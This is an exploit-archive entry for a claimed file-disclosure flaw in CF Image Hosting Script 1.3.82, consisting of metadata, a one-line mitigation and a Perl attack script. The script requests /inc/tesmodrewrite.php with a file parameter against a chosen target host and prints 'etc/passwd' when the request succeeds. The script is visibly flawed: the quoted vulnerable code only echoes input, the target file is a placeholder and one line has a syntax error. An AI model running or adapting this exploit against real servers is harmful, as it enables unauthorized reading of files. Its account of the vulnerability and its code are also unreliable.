CF Image Hosting Script 1.3.82 File Disclosure Exploit

vendor:

CF Image Hosting Script

by:

bd0rk

7.5

CVSS

HIGH

File Disclosure

200

CWE

Product Name: CF Image Hosting Script

Affected Version From: CF Image Hosting Script 1.3.82

Affected Version To: CF Image Hosting Script 1.3.82

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Ubuntu-Linux

2009

CF Image Hosting Script 1.3.82 File Disclosure Exploit

CF Image Hosting Script 1.3.82 is vulnerable to a file disclosure vulnerability due to insufficient sanitization of user-supplied input. An attacker can exploit this vulnerability by sending a crafted HTTP request to the vulnerable server, which will disclose the contents of arbitrary files on the server.

Mitigation:

Ensure that user-supplied input is properly sanitized before being used in file operations.

Source

Exploit-DB raw data:

#!/usr/bin/perl

#CF Image Hosting Script 1.3.82 File Disclosure Exploit
#Bugfounder and Exploitcoder: bd0rk
#Contact: www.sohcrew.school-of-hack.net
#eMail: bd0rk[at]hackermail.com
#Affected-Software: CF Image Hosting Script 1.3.82
#Vendor: http://www.phpkode.com
#Download: http://phpkode.com/download/p/CF_Image_Hosting_v1.3.zip

#Vulnerable Code in /inc/tesmodrewrite.php line 28
#echo "Current URL: " . $_GET['q'];

#Tested on Ubuntu-Linux

use LWP::Simple;
use LWP::UserAgent;

sub help()
{
print "Sploit: perl $0 [targethost] /dir/\n";
}

print "\nCF Image Hosting Script 1.3.82 File Disclosure Exploit\n";
print "\ By bd0rk bd0rk[at]hackermail.com\n";

($inc, $targethost, $dir, $file,) = @ARGV;

$inc="/inc/";
$file="tesmodrewrite.php?q=[APossibleFile]";
my $url = "http://".$targethost.$dir.$inc.$file;

my $useragent = LWP::UserAgent->new();
my $req = $useragent->get($url,":content_file"=>"[APossibleFile]");

if ($req->is_success)

{

print "$url <= H3h3!\n\n";
print "etc/passwd\n";

exit();
}
else
{
print "Sploit $url Mhhh!\n[!]".$req->status_line.\n";

exit();
}